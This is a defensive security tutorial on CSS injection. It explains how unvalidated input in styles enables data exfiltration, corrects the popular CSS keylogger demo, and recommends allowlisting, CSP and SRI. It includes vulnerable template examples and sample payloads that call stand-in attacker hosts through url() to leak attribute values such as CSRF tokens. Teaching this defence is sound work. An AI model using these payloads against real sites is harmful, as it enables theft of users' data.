Understand the risks of CSS injection attacks, how they work, and how to safeguard your website using best security practices and defensive coding techniques.
A stylesheet feels harmless. It picks fonts, sets colors, nudges spacing. Nobody audits CSS the way they audit a login form, and that blind spot is exactly what makes CSS injection worth your attention.
CSS injection happens when an attacker gets their own CSS into a page you control. It won’t run JavaScript on its own, but it can still leak data, mislead users, and set up bigger attacks. This post walks through how it works, what it can and can’t do (the “can’t” part matters, because most write-ups get it wrong), and how to actually shut it down.
Understanding CSS Injection: What Is It?
CSS injection is what you get when untrusted input ends up inside your site’s styles. Usually that’s a form field, a URL parameter, or a profile setting that lands in a <style> block or a style attribute without being checked.
It’s not XSS. XSS runs the attacker’s JavaScript. CSS injection only hands the attacker control over styling. That sounds tame until you remember CSS can make network requests, read attribute values off the page, and hide or overlay elements. Styling alone is enough to do damage.
How CSS Injection Works
The root cause is always the same: user input reaches your CSS without validation. A few ways that happens:
- Direct injection into CSS properties: a “profile color” field dropped straight into a color rule with no checks.
- Embedding untrusted styles: pulling CSS from user data or an external source and rendering it as-is.
- Dynamic inline styles: building a
styleattribute out of user-controlled data.
Here’s the unsafe pattern in the wild.
Example: Unsafe CSS Injection via User Input
<!DOCTYPE html>
<html lang="en">
<head>
<style>
.profile {
color: {{ user_color }};
}
</style>
</head>
<body>
<div class="profile">Welcome to your profile</div>
</body>
</html>
The template trusts {{ user_color }}. If it isn’t validated, the attacker doesn’t have to send a color. They send CSS. A value like this slips a whole new rule onto your page:
body { background: url('https://attacker-site.com/steal-data.png'); }
Now every visitor’s browser fetches that image from the attacker’s server. That request is a callback the attacker controls and logs, and it’s the whole trick behind CSS data exfiltration. We’ll come back to it.
Real-World Implications of CSS Injection
CSS injection can’t execute code the way XSS does. It’s still dangerous. Here’s what it buys an attacker:
- Data exfiltration via attribute selectors: this is the real one. CSS can match on the value of an attribute and fire a network request when it matches. Chain one rule per character, like
input[value^="a"] { background: url(//attacker/a); }, and the value leaks a letter at a time. - Overlay tricks: CSS can make elements invisible or float them over real buttons, so a click lands somewhere the user never intended. (Full clickjacking usually needs an iframe and is best stopped with
frame-ancestorsorX-Frame-Options.) - Reading data already in the markup: hidden inputs, CSRF tokens, pre-filled fields. If a value sits in an attribute, an attribute selector can read it.
Now here’s where almost every tutorial gets it wrong, including the famous “CSS keylogger” demo. You’ll see an example like this passed around:
Example: Keystroke Inference via CSS
input[type="password"]::before {
content: attr(value);
color: red;
}It looks clever. It also doesn’t work, for two reasons.
First, ::before and ::after don’t render on <input> elements at all. Inputs are void elements with no content box, so the browser never generates those pseudo-elements on them (MDN).
Second, even the real attribute-selector technique reads the value attribute, not what the user is currently typing. In plain HTML, typing into a field updates the element’s value property, not its value attribute, so the selector never re-matches on keystrokes (PortSwigger).
So where’s the actual risk? Two places. Values that are already in the HTML when the page loads (tokens, hidden fields, anything server-rendered) can be read right away. And some frameworks, React being the classic case, mirror the typed value back into the attribute, which is exactly why that keylogger demo appeared to work. Know which situation you’re in.
How to Defend Against CSS Injection
No single switch fixes this. Layer these.
1. Sanitize and Escape User Input
Sanitize user input before it touches a page, especially before it lands in an inline style or generated CSS. The catch is picking the right tool for the context, and this is where the common advice quietly fails.
Example: Escaping User Input in PHP
<?php
$user_color = htmlspecialchars( $_POST['color'], ENT_QUOTES, 'UTF-8' );
echo '<div class="profile" style="color:' . $user_color . ';">Welcome to your profile</div>';
htmlspecialchars() escapes HTML characters: <, >, &, and quotes. That stops an attacker from breaking out of the attribute into new HTML. It does nothing about the CSS sitting inside the attribute. None of : ; ( ) / . are HTML-special, so red;background:url(//attacker/x) sails straight through and the callback still fires.
For a color field, the fix is an allowlist: validate the value against what a color can actually be, then reject everything else. Something like preg_match( '/^#[0-9a-fA-F]{6}$/', $_POST['color'] ) before you use it. OWASP’s guidance for the CSS context is exactly this: whitelist the characters you allow whenever input is reflected into CSS (OWASP WSTG). HTML encoding is the wrong context.
2. Avoid Directly Injecting User Input into CSS
The best fix is to keep user input out of CSS entirely. Predefine a set of themes or colors and let people pick from the list. If you genuinely need user-supplied styling, validate hard and keep the allowed surface as small as you can get away with.
3. Use Content Security Policy (CSP)
A Content Security Policy (CSP) is a strong second layer. style-src controls where styles can come from and can block injected inline styles. Just as important, the exfiltration trick depends on loading an image from the attacker’s domain, and that request is governed by img-src (or default-src), so a tight policy there cuts off the callback.
Example: Enabling CSP
Content-Security-Policy: default-src 'self'; style-src 'self';
That says: only load styles from your own origin. Pair it with a restrictive default-src or img-src so an injected url() can’t phone home. CSP won’t undo the injection, but it can take away the payoff.
4. Validate External Stylesheets with SRI
If you pull CSS from a CDN or a third party, add Subresource Integrity (SRI). The browser checks the file against a hash you provide and refuses to apply it if it’s been tampered with.
Example: Using SRI to Protect External Stylesheets
<link rel="stylesheet" href="https://example.com/styles.css" integrity="sha384-xyz">Be clear on what this buys you. SRI protects against a compromised third-party file, not against injection into your own dynamically generated CSS. It’s defense in depth, not the main fix.
Combining CSS Injection with Other Attacks
CSS injection is often a stepping stone. Paired with XSS, an attacker can hide the element that carries a malicious script, so a user interacts with something they can’t see.
Example: CSS and XSS Combined
<style>
.hidden-button { display: none; }
</style>
<button class="hidden-button" onclick="alert('Your data is stolen!');"></button>
Here CSS hides a button that runs script on click. On its own the display: none rule is just styling. Combined with an XSS foothold, it’s misdirection. These weaknesses compound.
The Bottom Line
CSS injection is easy to underestimate because CSS feels cosmetic. It isn’t. A stylesheet can leak attribute data, misdirect clicks, and amplify an XSS bug into something worse.
The defense isn’t exotic. Keep untrusted input out of your CSS. When you can’t, allowlist it for the CSS context, because HTML escaping won’t save you there. Add a CSP that blocks both injected styles and the outbound requests that make exfiltration pay off, and use SRI on anything you load from someone else. Do that, and the stylesheet goes back to being what it should be: presentation, not an attack surface.


